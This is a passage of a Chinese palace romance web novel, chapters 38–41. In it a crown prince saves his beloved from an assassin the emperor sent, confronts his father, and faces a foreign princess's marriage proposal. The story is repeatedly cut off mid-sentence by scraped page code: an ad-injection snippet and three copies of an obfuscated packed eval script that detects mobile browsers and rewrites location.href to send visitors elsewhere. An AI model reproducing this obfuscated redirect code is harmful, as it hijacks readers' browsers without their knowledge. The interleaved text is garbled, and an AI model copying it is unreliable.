一个对谢知寒很重要的人。 谢知寒紧了紧手心,总有一天,他会让全天下人都注意到他的晓晓。 他的晓晓那么好,不应该是这个结局。 几句话的功夫,一个人从这里到殿外能去到哪里呢,谢知寒沿着回廊静静地走着,这是殿中通向院外的唯一道路。 这么短的时辰,即使是将人带走,也绝对走不了多远,谢知寒沿着回廊细细地观察。 南风这时前来回禀,说是让东宫的守卫按照殿下的命令去做了。 “嗯,让他们仔细些,务必每一处地点都要搜到,不得马虎。” 殿下的脸色已经恢复了淡然,但是南风不觉得殿下这是接受了事实,反而更像是一种暴风雨前的平静。 若是江姑娘真的出了什么事,今夜宫中大抵是不会太平。 谢知寒仍旧在一步一步向前走着,一边走一边细细地观察。 南风此时很想安慰殿下,江姑娘吉人天相,一定不会有事的。 突然,谢知寒在他面前脚步一顿,南风一愣,轻唤出声:“殿下?” 谢知寒却好似没有听到他的声音,南风上前一步,才堪堪抬脚,就听到谢知寒道:“别动。” 而后谢知寒将他一侧泛着银光的东西捡起来。 那是一枚耳坠。 是晓晓的耳坠,前两天她戴上时还曾问过他好不好看。 谢知寒握紧手中的耳坠,眉眼间越发的冷,果然就是沿着这条道路没有错。 他的晓晓一定没有走远。 谢知寒眉眼沉沉:“将人手调到这里。” 南风立刻去做,突然想起什么,他走了两步又转回身来:“殿下,前方说不准会有危险,还是等守卫来了再去。” 谢知寒却已经向前走去了。 这条路通往后花园,现在天色已晚,后花园中早已一片漆黑。 南风咬了咬牙,不知后花园中还有没有其他危险,得赶紧将守卫调过来。 江露染正在席中,她牢牢记着,殿下让他在这里哪里也不要去。 于是她就在原地等他回来。 此时,有一个宫人从她身边经过,对她低声道:“江姑娘麻烦让一下,奴婢急着送晚膳。” 她回头看了一眼那个宫人,手上拿着木质托盘,眉眼间显露出匆匆之色。 江露染立即给她让出一条道路,好让宫人快速通过。 那宫人从她身边经过,她只觉得手腕处有一阵细小的刺痛,而后脑中就开始逐渐漫上晕沉,视线也有些模糊。 她能感觉到那个宫人将自己扶了出去,口中还说,姑娘不舒服,奴婢扶姑娘去歇息。 什么不舒服,明明就是她害的。 她以后再也不要相信宫中任何人了,这宫里的人除了殿下没有一个是好人。 殿下,她昏昏沉沉地想到谢知寒。 殿下让她在那里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 等他回来,若是他回来看不到他,那殿下岂不是会很着急。 她得赶紧想个法子,不能就这么睡过去。 她用力咬破自己的舌尖,让自己清醒了几分。 那宫人还在向前走,也不知道要把她带往哪里,得殿下留下记号。 江露染趁着宫人不注意扶了扶额,趁机将耳坠抛下。 殿下曾经见过这个耳坠,一定可以认出这是她的。 眼前一片昏暗,看上去像个大花园,有各种花香蔓延过来。 脑海中又开始昏沉了,江露染再次咬破了舌尖,让自己清醒。 宫人在花园中转了几个弯,找到一个幽暗的角落,松开江露染的手腕,她握的力气有些重,江露染的手腕已经泛起一圈薄红。 江露染假意晕倒,让宫人放松警惕。 宫人早就认为江露染晕过去了,毕竟她以前做这些阴私事从未失手过。 这个小姑娘看上去倒是绝色,可惜,陛下容不下她,只能说小姑娘命不好,面对美人她心中升起恻隐之心,决定用一种利索的方法送她上路,也省得她痛苦。 宫人拿出藏在袖中的匕首,对着江露染的颈间刺去。 江露染眯着眼睛仔细观察她的举动,趁着她不防备,用尽全身力气拔下头上的发簪向宫人刺去。 意识没有完全清醒加上花园中很是黑暗,江露染只是刺破了她的手臂,长长的一道。 宫人见到江露染还能伤到她,有些惊诧,本来以为和往常一样,会很容易得手。 没想到这个看上去娇娇弱弱的小姑娘还有如此强大的力量。 陛下亲自给她下的命令,今次绝对不可以失手。 想着,她稳了稳手中的匕首,再次像江露染刺去。 谢知寒手中紧紧握着那枚耳坠,耳坠的边缘深深刺入他的手心,而谢知寒却恍然未觉。 他只知道,要快一点,再快一点,他的晓晓在等他。 花园中传来很细微的声响,虽然只有一瞬,但谢知寒仍旧捕捉到,他快速向声音的来源走去,就看到一个宫人手中拿着匕首朝着他的晓晓刺去。 谢知寒飞身而上,瞬间控制住宫人的手腕,将匕首反转,直接对准宫人的脖颈,下一瞬,尖利的刀刃就刺进宫人的皮肉,鲜血飞溅。 江露染看到宫人重新刺来,料想自己这次必死无疑。 她紧紧闭上眼睛,但下一瞬就听到有人倒地的声音,鼻尖弥漫过来浓重的血腥味。 她缓缓睁开眼睛,发现眼前是谢知寒,他就站在她面前,身姿清隽,像是新落下的一场雪。 谢知寒站在江露染面前,将身后斑驳的血迹悉数挡住,恰巧此时南风带守卫过来,谢知寒低声吩咐将人处理干净,南风应下。 谢知寒回身将江露染抱在怀中,此时风很寒凉,他将自己的大氅脱下披在小姑娘身上。 江露染鼻尖充斥着熟悉又清冷的檀香,在殿下怀中,她才敢放松入睡。 谢知寒抱着她回宫,怀中的她很轻,但又很重。 毕竟,他怀中抱着的人是他的一切。 他看她比自己的性命还要重要。 良久,他听到小姑娘低低的呓语。 “除了殿下,我再也不要相信任何人了,他们都是骗子。” 39. 第 39 章 谢知寒抱着江露染一路回了明轩阁,怀中的少女早已沉沉睡去,她的发丝散发着清甜的香味。 看着人已找到,暗中刺杀的宫人也已经处理好,南风撤回了东宫的守卫,即使时间很短,但是陛下也一定是知晓了。 东宫的守卫暗自行动,其实对于陛下来说很是有一些忌讳的。 南风将令牌交还于殿下,彼时谢知寒手拿帕子,正在轻轻擦拭溅到她发丝上的血点。 谢知寒收过令牌,随意将它置于桌上,他手中的帕子轻轻擦过她的脸颊,很快发觉到江露染唇边的些许血迹。 谢知寒指尖微顿,拿着帕子的手顿时停住,他的心缓缓下沉,南风转身就要踏出殿门,却被谢知寒唤住。 “去传太医来。” 南风看了一眼江露染,很快就明白殿下唤太医的原因。 东宫有令,太医来的很快,谢知寒坐于殿中,眉眼沉沉,浑身散发出不悦的情绪。 太医本来就对东宫有所敬畏,眼见太子今日心情不佳,行为更是战战兢兢。 他可不想成为太子殿下的剑下亡魂。 见太医来了,谢知寒这才起身,露出他身后昏迷的姑娘,谢知寒撩开被衾的一角,看来病人就是这位姑娘。 谢知寒缓缓向后退了一步,让出一些空间来。 太医很快来到江露染面前,他拿出帕子垫在姑娘腕上,诊她的脉象。 奇怪,怎么像是中了毒。 这位姑娘想来就是传闻中的江姑娘,这姑娘不是一直都被太子殿下保护的很好吗,为何会中毒。 东宫戒备森严,何人敢在东宫动手,竟然敢动太子殿下的人,真是胆大妄为。 “这位姑娘只是深陷昏迷,只要服几服清毒的药即可,殿下无需担心。” 但太子殿下的脸色看上去并未好转。 太医正心存疑惑,难不成是自己哪里诊断出了问题? 谢知寒缓声开口:“她唇边的血迹是怎么回事?” 太医这才注意到姑娘雪白的面颊上,唇色也是淡淡的,看上去很是虚弱。 唇角渗出一点血迹,不仔细看是决计看不到的。 太医极为小心地查探了一番,发现是姑娘的舌尖有咬破的迹象。 他心中暗暗夸赞太子殿下心细非常,连这小小的伤口都能发现,看来自己这些时日果真是有些松懈了。 隐秘的伤口还需要他人来提醒,太医有些羞愧,但还是一丝不苟的对谢知寒回禀。 “这位姑娘舌尖有轻微的咬伤,不过也是服几副药的事,殿下同样无需担心,微臣这就去太医署熬药。” 轻微的咬伤。 谢知寒立刻明白过来是怎么回事,太医眼看自己的事结束,很快退出了殿内。 偌大的明轩阁顿时就剩下他们两个人,烛火微微晃动,院外应当是起了风,仔细听还能听到树叶的摇晃声,簇簇地传过来。 太医署的药很快煎好送了过来。 谢知寒手中握着药碗,刚煎好的药还是有些热,发烫的感觉从手心处传来,方才太医来的时候,谢知寒忘记了自己手心也有伤,不过不是什么大事,他随手包扎了一下。 热烈的温度从伤口细细密密地传进身体中,谢知寒拿着药碗,丝毫未动,身形很稳,他似乎感觉不到任何疼痛。 殿上的事情还历历在目,若是他晚去一步,后果简直不堪设想。 他没有错,他的晓晓自然更没有错。 他只是想和她名正言顺的在一起,即使她即使来自宫外,没有那样显赫的出身,但这就是青奚帝阻拦自己的原因吗? 真是可笑至极。 似乎所有人都默认了太子一定会选一位家世相当的太子妃,但这只是所有人理所当然的想法,而他凭什么要遵从旁人的心意。 他所遵从的只有他自己的心。 他的心告诉她,他只会爱晓晓,什么家世,什么地位,什么知书达理,名门闺秀。 他统统不需要。 他要的只有江露染。 纵使这世上那么多人,可是他在乎的只有她。 药的温度逐渐降下来,谢知寒拿着勺子将药液缓缓喂去。 相比自己来说,晓晓才是最辛苦的。 她明明知道很危险,她的心里也会害怕,可是面对自己的时候仍旧会装的满不在乎。 他明明说过会保护她的,可是总是一而再,再而三地失信于她。 突如其来的情绪让谢知寒有些压抑,他突然很想去问问青奚帝为什么。 他就是想用心爱一个人,想对她好,到底哪里出了差错? 将药碗中的药悉数喂完,看着晓晓仍旧在睡着,她的呼吸浅浅,不过看上去很是平稳。 谢知寒将南风唤来,让他务必看顾好晓晓,而后起身去了明光殿。 重阳宴办的盛大而辉煌,所有人都喜气洋洋,青奚帝坐于高处,冷眼旁观着一切。 那名刺杀的宫人是他早些年培养起来的心腹,专门被他指派去做一些见不得人的事情。 青奚帝久久都未等到她来复命,就知晓这件事没有成功。 而且方才有人来禀,说是看到了东宫的守卫。 想来谢知寒一定是知晓了这件事情,才会派出东宫的守卫来此处寻人。 方才遥遥对视的那一眼,就是他们之间隔着所有人暗中的对峙。 他不信他能救下她。 他也不信他可以杀了他。 他们明明是父子,但是好像从来都没有过任何信任。 宴会结束,青奚帝回到明光殿中,很快有人来禀,说是太子殿下前来。 青奚帝指尖触了触圈椅的边缘,莫名觉得有些凉。 但他最终还是道:“让他进来吧。” 谢知寒进殿后根本就没有行礼,只是站在那里,直直地望着他,他的面容很是冷峻,视线冰寒。 其实已经是犯了大不敬。 但是此时青奚帝却不想追究他的失礼,看着面前的人良久,他终于还是缓缓出声,对着他几乎从未关心过的嫡长子,道:“你要对朕问什么?” 谢知寒看着面前这个人,他是一国之君,行事却一点也不光明磊落,暗戳戳对一女子下手,这算什么。 “为什么?” 其实答案很简单,但是青奚帝却知晓谢知寒问的不仅仅是江露染。 他问的还有这么多年为何对他只是不闻不问,视而不见。 静默良久,谢知寒以为他不会再回答了。 青奚帝静静注视着这个一向被自己刻意忽视的嫡长子,他和先皇后其实长的很像,性格也如出一辙。 先皇后,眼前又浮现出那个女子,那个时候她还没有被人称为先皇后,她叫梁芷。 那个时候他还是京中的二皇子,不受父皇宠爱,父皇眼中只有大哥。 他出京去办案,路上遇到危险,被一女子救下,那女子骑在一匹小红马上,穿着一身利落的劲装,是他从未见过的英姿飒爽。 那女子看他一脸狼狈,忍不住出声笑话他,身边的手下早就忍不住想上前理论,却被他拦下。 而后一路同行,他发现这名女子性格果真豪爽,笑起来也是真的开怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968005|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她行事非常不受拘束,自在开怀,他很羡慕她的性格,相处期间,他早就爱上了她。 可是他只是一个宫中不受宠的二皇子,将来皇位必定是大哥的,而他将来也就是封一个不大不小的王爷,而后去往封地,无召不得进京。 他会娶一个门当户对的王妃,安稳成亲生子,相敬如宾的过完余生。 想想还真是,被人限定好了的无聊无趣的生活。 这个女子那样明媚,想来他是没有资格去爱她的。 然而,有一日她竟然胆大妄为地问他:“你想当皇帝吗?” 这简直就是大胆至极,被人听到岂不是要下狱的。 他连忙去捂她的唇,却被她一掌拍下:“做什么这么胆小,不就是皇帝,我看你这个人很不错,比那什么劳神子太子好多了。” 这还是他第一次听见有人如此明目张胆地夸自己。 以往在宫中谁不是先夸大哥,其他人都是大哥的陪衬。 后来他才知道梁芷是江湖上著名帮主的女儿,手下厉害的人很多。 他问她为什么要帮自己,她却直直道,你是不是傻。 他第一次看到她脸上浮出的红晕。 那一瞬,他的心骤然升到云端,他突然意识到他的人生还有其他可能性,不必过那种循规蹈矩的被人设定好了的生活,他会走上一条辉煌的路,他会娶到心爱的人。 那是他一直以来希冀得到的生活。 后来他成功做了皇帝,大权在握,她也顺利地做了他的皇后,两人几乎天天腻在一起。 可是好景不长,宫中生活乏味无趣,几乎要磨平她的性子,她几次三番想要出宫,可是她是皇后,怎能肆意妄为。 两人从此有了心结,爆发点是选妃,他是皇帝,为了平衡朝中各方的力量,也为了绵延子嗣,稳定人心,他自然是要选其他世家女进宫的。 可是那一日,她哭的好厉害,选妃也被迫中止了,他很生气。 她这样哭闹,将他的面子往哪里搁,他是一国之君,那么多人都在时时刻刻关注他的言行。 他不能出任何错。 那一日,他们爆发了很大的争吵,谁也没有说服谁。 他气的拂袖要走,却听她说,谢景,你说过只爱我一个人的,你不能骗我。 可是他真的很生气,不想原谅她。 他仍旧头也不回地离开,走时对她说一句:“你就当我是骗了你吧。” 他再没有看她,转身离开了。 从那以后,他们几乎一见面就争吵,他日理万机,回来还要面对她的质问,他很累。 可是他还是爱她的。 但是面子不让他低头,只要她向自己服个软,纳帕是对他说一句错了,哪怕就一句也好,他就会重新回到她身边。 可是没有,一句也没有。 她不肯低头,于是他也不肯。 他装作不爱她的样子,但她已经信以为真。 直到她离开那日,他还在自欺欺人,说怎么会呢,她可是梁芷,怎么可能会离开自己。 但她就是走了,没有留下一句话给他。 而关心她的回忆,他从来不敢想。 他不得不承认,他在逃避,逃避关于她的一切。 她的衣物,她的宫殿,她的喜好,她的行为。 包括她为自己留下的这个嫡长子。 他不是不爱他,不想关心他。 而是他不敢。 每每看到谢知寒,他就会想到他辜负了他的母亲。 他违背了当初的誓言。 40. 第 40 章 青奚帝的视线在谢知寒身上久久地停留,久到谢知寒以为他不会再回答自己的问题了。 真的是等了很久很久,青奚帝才缓缓开口。 “这些年,是朕有愧于你母后...和你。” 谢知寒本来已经做好听不到青奚帝回答的准备,反正他是帝王,自然可以随心所欲,不必回答自己的疑问。 但是此时恍然听到这句话,他还是稍稍愣了下。 终于听到帝王的一句有愧,他等了二十年。 这二十年间,他曾经无数次期待过他的情谊,可是每一次都以失落告终。 后来他终于不再期待,也终于明白,不是自己的,他是强求不来的。 是以,听到青奚帝的这句有愧,他也只是稍稍愣了一下,但很快就平静下来。 他一直需要的时候他没有给过,如今他想给的时候,他已经不需要了。 这句有愧,他终于替母后听到了。 可惜,也同样是晚了二十年。 谢知寒仍旧站在原地,目光仍旧紧紧盯着青奚帝,那意思很明显,就是这件事过去了,但是江露染那件事还没有过去。 为何要派人刺杀他的晓晓。 青奚帝面上不悦,他说出这句有愧已经是做了很大的让步,谢知寒却仍旧不依不饶,非要他说出关于江露染的事情。 他不明白,一个外人难道就这么重要吗? 即使谢知寒喜欢她,但是这个从宫外来的陌生女子,可以对他的江山起到多少助力,即便是那时阿芷,也是帮了自己很多,但这个宫外女子,她什么都没有,她不仅帮不了谢知寒,反而会成为他的负累。 而他谢氏皇族,不需要这样一个女人。 他已经替他做出了决定,青奚帝不明白,他为何还要对自己如此不依不饶。 “你的太子妃一定要是有助力的世家女,这个人,朕不同意。” 青奚帝此时只是静静地为他陈述利弊,谢知寒如此聪慧,一定可以明白自己的意思。 但是谢知寒却完全没有回应他的意思。 “父皇的意思是,妻子只是用来稳固朝堂的器物,是可以权衡利弊之后随时可以抛弃的物品,可以是任何东西,却唯独不能是相知相爱的枕边人。” 他目色冷凝,说出口的话也带着无限冰寒,没有一丝温度。 “父皇也是这样看待母后的吗?怪不得母后不原谅您,您若真的这样想,儿臣只期待您和母后生生世世都不要再见面。” 这的确算是一句诛心的话了。 青奚帝突然握紧把手,重重地咳出血来。 然而谢知寒却像没有看见,仍然自顾自地说了下去。 “选一个什么样的妻子,要和一个怎样的人共度余生,儿臣心中有数,就不劳父皇费心了。” “父皇心里的准则,儿臣不会同意,儿臣不会将妻子看成一个权衡之下的选择,妻子对儿臣来说,是可以相濡以沫,不离不弃的心爱之人,是儿臣生生世世要守护的人,既然选择了,儿臣便不会放手,不会像父皇一样,将母后随手丢弃。” “父皇对晓晓做的事儿臣已经知晓,儿臣视晓晓比自己的性命还重要,这样的事,儿臣不希望发生第二次。” “儿臣不是在跟您商量,儿臣是来...通知您。” 谢知寒静静地说完,看也没看身后咳成一片的青奚帝,转身离开了明光殿。 他以前是真的很希望等到一句青奚帝对自己和母后的解释,可是如今等到了,心里却也没有多少期待。 他的确是不需要了。 回到明轩阁中,晓晓还没有醒。 谢知寒握着她的手指细细摩梭着,这是他今生今世和来生都会许愿在身边的人,他不会听从青奚帝的任何话语,他也不忍心让晓晓成为宫中战败的牺牲品,他甚至都不想让她看到一点阴暗的东西。 他的晓晓本来就应该平安喜乐,无忧无虑过完一生。 他不会让任何人伤害她。 他的太子妃只有她,也只能是她。 青奚帝那些借妻子来稳固朝堂的话不过就是他自欺欺人的借口,只有不自信的人才会这样想。 而他,不会做这样的人。 谢知寒指尖缓缓抚上江露染的脸颊,将她唇边蔓延而出的一丝血迹轻轻擦去了。 他此时哪里也不想去,就想呆在她身边。 只有在晓晓身边,他才得到了归属。 谢知寒握住江露染指尖,牢牢地握住,而后在她身侧睡着了。 江露染醒来的时候,谢知寒已经上早朝回来了,就坐在她身侧的小榻上看一卷书,长指偶然翻过一卷书页,背影很是清隽。 江露染静静地凝视了一会儿他的背影,谢知寒似有所感,回头望她,见她醒了唤她的名字。 “殿下...”舌尖传来钝疼,昨夜遇刺的情景闯入脑海,是她咬破了自己的舌尖才让自己清醒过来。 此时说话不仅有些疼,还有一些口齿不清。 谢知寒递过去一杯水,示意她不用开口,而后他向她细细交代了昨日的后续,告知她那名刺杀的宫人已经被杀了。 提到那名宫人,江露染心中就仍然心有余悸。 她只是让自己让开道路,谁知下一瞬就中了她的暗算,她只是就向旁边挪了一步而已。 想到昨日的惊险,江露染对着谢知寒呢喃。 “殿下,我以后再也不要相信任何人了,她们都是坏人。”声音有些口齿不清,还有些闷闷的。 显然就是还在为昨日的事情介怀。 谢知寒刚想劝晓晓不要再去想这些事情,以后大抵不会再发生这样的事了,就听到江露染问:“殿下是如何找到我的?” 眼神中闪烁着好奇的光。 谢知寒去取过放置于一旁的耳坠:“当然是晓晓留给孤的耳坠。”说完,谢知寒将耳坠为江露染重新戴上。 “晓晓很聪明,知晓要给孤留下物品。” 听到谢知寒突然而至的夸奖,江露染还有些不好意思,哪里就有殿下说的这般厉害了。 戴好耳坠,谢知寒将手收回,江露染很快就发现了他手心的伤痕。 深深的一道,已经结了痂。 江露染握住他的手,语气很急:“殿下怎么受了伤,伤口这么深,一定很疼。” 谢知寒任由她握着自己的手,昨日过于担心晓晓,其实他并没有感受到很疼。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984494|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了不让她担心,他试图将手抽回来,也不是什么大伤,实在不值得让晓晓为他担心。 可是江露染握的很紧,他根本抽不回来。 “上过药了吗?否则会留疤的。” 殿下这样渊渟岳峙的人,怎么可以在手心留下一道这么长且明显的疤痕。 江露染很快去一旁找药粉,而后认真将药粉铺平在伤口上,而后认真用帕子裹住了,还不忘细心叮嘱:“殿下每日都来我这里换药,不可以忘了。” 眼看着她无比担心自己的模样,谢知寒唇边蔓延出一抹笑容,这就是有人牵挂的感觉吗?真好。 江露染望着谢知寒唇边的笑容,眼神疑惑,殿下莫不是傻了?受了伤还这么高兴? 因着上次的事,江露染一直呆在明轩阁中,哪里也没有去。 身上的伤也很快就好了,这些时日,江露染因着无聊,开始研究棋谱,还拿明轩阁的宫女对练。 因着上一次宫人在背后随意腹诽主子的事情,新换来的宫人都是稳重的小丫头。 非常的尊敬主上,是以即便是对弈,也不敢赢过江姑娘。 一连下了几盘,江露染都赢了,她看着一旁的棋谱,看来这棋谱还挺厉害的吗。 她就看了几页,就可以赢过这么多人了,等殿下来了,一定要给他露两手。 正想着,谢知寒的身影已然踏进了殿内,宫人都知晓太子殿下一向喜欢和江姑娘独处,是以安静地鱼贯而出。 江露染将一旁的棋谱藏起来,对着谢知寒道:“殿下,晓晓想跟你下棋。” 谢知寒早就看到她的小动作,微微挑眉没有拆穿她。 江露染非常自豪地坐于棋盘另一端,看着谢知寒的眼眸晶晶亮。 “殿下可要小心,我今日很厉害,要是一会儿输了殿下可不要太伤心。” 是吗。 他与人对弈还从未输过,他抬眸看了她一眼,她唇边的笑意是那样明显,像是一阵吹拂而过的春风。 江露染甚至还对谢知寒道:“殿下,请。” 眼看谢知寒率先下了一枚黑子,江露染很快就在他旁边下了一枚白子。 窗外的宫人听到里面殿下和江姑娘相处的很好,不由得笑着对视了一眼。 然而,过了不久,就听到江姑娘的声音。 “不对,殿下我方才是想要下在那里的,手滑了一下。” “等等,我还没有想好呢,殿下,那我就下在这里,不对,是下在这里。” “殿下,等等!” 不久就听到谢知寒略带清沉的声音,有些无奈。 “晓晓,落子无悔。” 殿内安静了下来,但也仅仅是安静了一小会儿。 很快就听到江露染高兴的声音:“殿下,我就说今日我会赢过殿下吧,殿下不要小瞧我,我很厉害的。” 下一瞬就听到谢知寒的声音。 “孤自然知道晓晓是很厉害的。” 若是不让晓晓赢,她兴趣上来可会一直下棋,眼看天色已晚,很快就要用晚膳,晓晓胃口不好,晚膳用的晚了晚上又会胃疼。 不若就让她一局。 反正输给自己的晓晓也不是一件丢人的事情。 41. 第 41 章 自从谢知寒将心中真正的想法告知青奚帝,青奚帝就没有再为难过江露染。 至少明面上是没有的,宫闱之中又恢复了以往的安静。 其他臣子总从宫宴之上看到太子殿下对一女子如此上心,心中自然也就有了谱,知晓东宫大抵是要有一位太子妃了。 但也有其他没有眼色的朝臣,提议太子应当早日选一位门当户对的太子妃,都被谢知寒挡了回去。 他心中欲迎娶晓晓,特意请钦天监看了日子,就是半年后的六月初三,非常适宜嫁娶。 谢知寒眼眸中闪了闪,他一定要给晓晓最好的,那日婚礼一定要很盛大,他的晓晓会成为上京最幸福的新娘。 他绝对不会让她收到一点委屈。 上京最近一直风平浪静,直到今日要有昌顺使臣前来觐见,于是礼部就开始忙碌起来。 昌顺使臣是大胤的附属国,每年都会给大胤提供很多的粮草,而大胤也对昌顺提供了诸多庇护,两个国家关系一直很友好。 今次昌顺前来,就是派使臣押送几百车粮草入大胤,大胤自然应当以礼待之。 “昌顺?”江露染以前在曲洲之时是听过这个名字的,但是从来没有见过昌顺的人。 听说昌顺国一向骁勇善战,按理说应当有不少强壮的美男子,这次是不是沾沾殿下的光可以看到一些。 那可是穿着异族服饰的美少年,她可得好好看看。 江露染的眼神已经充满了某种向往,谢知寒对江露染的所思所想一向把握的比较准,他的声音已经开始变得危险,尾音沉沉:“晓晓。” 几乎是一个字一个字地唤她,殿下已经很久没有用这种语气唤过自己了。 江露染立刻回神,对着谢知寒谄媚道:“殿下,我方才什么也没有想啊。” 谢知寒淡淡瞥她一眼,没有戳破她的小心思,江露染以为已经过了这一关时,谢知寒却继续看着她,语气十分不善。 “晓晓上次在重阳宴上看过其他男子。”一字一句地指控。 重阳宴,其实已经过去了好多天,殿下为何要拿那一日来说,江露染托腮认真回忆,那一日是她第一次参加宫宴,对宴上一切自然都很好奇,好像的确是看了一眼宴上其他好看的少年郎君。 但也就看了一眼呐。 何况都过去这么久了,殿下不说她都忘了。 怎么殿下偏偏这个时候提起,还记得这么清楚。 殿下不会要在此时翻旧账吧。 江露染偷偷看了一眼谢知寒,她的小动作自然逃不过谢知寒的眼睛,此时眼眸正紧紧盯着面前的少女,眼眸中含着审视。 好像有些躲避不过。 “殿下,我那时就看了一眼嘛,再说了,那些少年郎君哪里有殿下好看,殿下是全天下最好的人了。” 她的说法听上去非常没有诚意。 谢知寒脸色仍旧淡淡的,表情没有任何松动,似乎没有被她的说法打动分毫。 “殿下,你生气了?”她缓缓地凑近,她身上的清甜香味逐渐笼罩了他。 “殿下,你不会是...吃醋了吧?”她的声音就响在耳边,听上去很是有些有恃无恐。 明明就是被他捕捉到了错处,却还可以在他身边肆无忌惮地调侃,全天下也就只有江露染敢在他面前这么做。 他一把抱住她的纤纤细腰,将她牢牢控制在自己怀中。 江露染一个天旋地转就躺在了身边人的怀中,殿下的脸庞近在咫尺,是那样的俊美无俦,无出其右。 他身上有清冷的檀香,是她最喜欢的味道。 “孤就是吃醋了,晓晓要怎么做?”他的声音很淡,但江露染听得出来,殿下这是在生气的边缘,她再不哄哄他,殿下就要真的生气了。 她缓缓凑近他,在他唇上覆上一个吻,在江露染想要离开的时候,谢知寒却抬手抚在她的后脑,一点点加深了这个吻。 一吻结束,两个人呼吸都有些紊乱。 “殿下,还生晓晓的气吗?”她的眼神明亮,好似闪着点点的星光。 谢知寒自然不会生她的气,可是一想到她当着他的面明目张胆看其他男子,心中还是有些不舒服,哪怕她只看了一眼。 “晓晓不可以再看其他人,一眼也不行。” 啊,这样岂不是会少了许多乐趣。 但是殿下此时就盯着自己,目光灼灼。 “好,晓晓都听殿下的,不会再看其他人。”先答应了他再说。 “晓晓若是敢骗孤...” “不会的,不会的,殿下知道,我一向说到做到的,晓晓绝对不会欺骗殿下!” 虽然谢知寒觉察到一丝江露染的哄骗意味,但看着她那双明亮的眼眸,到底还是相信了她。 眼看殿下不在执着于重阳宴上的那件事,江露染很快又摇起他的手臂。 “我答应殿下不会再看其他人,殿下同意我去看昌顺族人觐见吗。” 她方才才答应了自己,而此时却又要去观看什么觐见,打的什么主意简直就是昭然若揭。 她到底有没有将自己的话放在心上。 谢知寒缓缓将自己的手臂从她手指中抽出,江露染眼疾手快握住他的袖子,紧紧握着不放。 昌顺国觐见,可是五年才来一次,下次见面就不知道什么时候了。 她可千万不能错过。 她紧紧握着手中那一片雪白的衣角,语气是前所未有的温软,像是在跟他撒娇。 “殿下,我保证不看其他人,我就牢牢地站在你身边,若是有人来问,我就说我名花有主了,殿下,你就答应晓晓吧,晓晓绝对不会给你惹麻烦,晓晓也不会再给别人让路了,谁说话也不理。” 小姑娘抱着衣角,誓死不放,眼看就要一哭二闹三上吊了。 谢知寒到底不忍心为难她,可是鉴于上次差点被刺杀,他心中还是有些犹豫。 江露染却仍旧抱着他的衣角摇晃:“殿下,你就答应了我吧,我保证都听殿下的。” 眼看小姑娘一会儿就要被逼出真的眼泪,他实在不忍心,仍由她握着自己的袖子荡来荡去,终于做出决定。 “孤可以同意晓晓,但是有两点,晓晓必须做到。” “一是必须跟在孤的身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996881|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二是不可以看其他人,谁也不行。” “好,晓晓都听殿下的!”江露染瞬间破涕为笑,变脸速度让谢知寒为之震惊。 自己是不是被她骗了。 昌顺使臣前来觐见的日子很快到来,这几日江露染很是练了几日礼仪,乖巧地站在谢知寒身后,静静看着使臣到来。 昌顺使臣身穿与大胤完全不一样的服装,看上去很是英伟,头发也用颜色各异的发带竖起来,别有一番风味。 使臣到来的时候,谢知寒不动声色与身后的江露染对视,眼神中隐隐有警告意味。 江露染自然收到了,她这次可不会明目张胆地看了。 昌顺使臣上前一步,恭谨地行礼,青奚帝立刻让人起来。 使臣谢过青奚帝,这才站起身来,对着青奚帝不卑不亢道:“殿下,微臣此次前来除了为贵国押送粮草,还有另外一事相求。” 青奚帝捻了捻手中的玉扳指:“使臣但说无妨。” “我国陛下说两国关系一直友好,想一直持续下去,是以君主打算让我国七公主与贵国和亲,不知殿下的意思是...” 联姻,青奚帝思索片刻,其实这对于两国邦交来说是一件好事。 他当然不会拒绝,不过这联姻的人选,青奚帝在谢知寒和他身后的少女身上梭巡了一圈。 昌顺联姻的人选是七公主,大胤自然不能随便选一个普通的世家公子来与公主成亲。 最合适的联姻人选应当就是太子。 青奚帝再次转了转手中的玉扳指,可是谢知寒上次对自己说过的话还历历在目,他言之凿凿地表示除了江露染不会选任何人。 若是强逼着他与公主联姻,以谢知寒的性格,不知道会闹出什么样的事端。 青奚帝为帝这么多年,第一次感到头疼。 阿芷,这就是朕辜负了你的报应吗? “联姻自然是好事,朕怎么会不同意,不过这和亲的人选,容朕好好思考一番,再告知使臣如何?” 使臣刚想回应,就见使臣中的一人脱下黑色的帷帽,径直走到谢知寒面前,一双眼睛及其明亮,容貌也是明艳无双。 “陛下,我看这个人就很不错,陛下不若就让我和他成亲怎么样?” 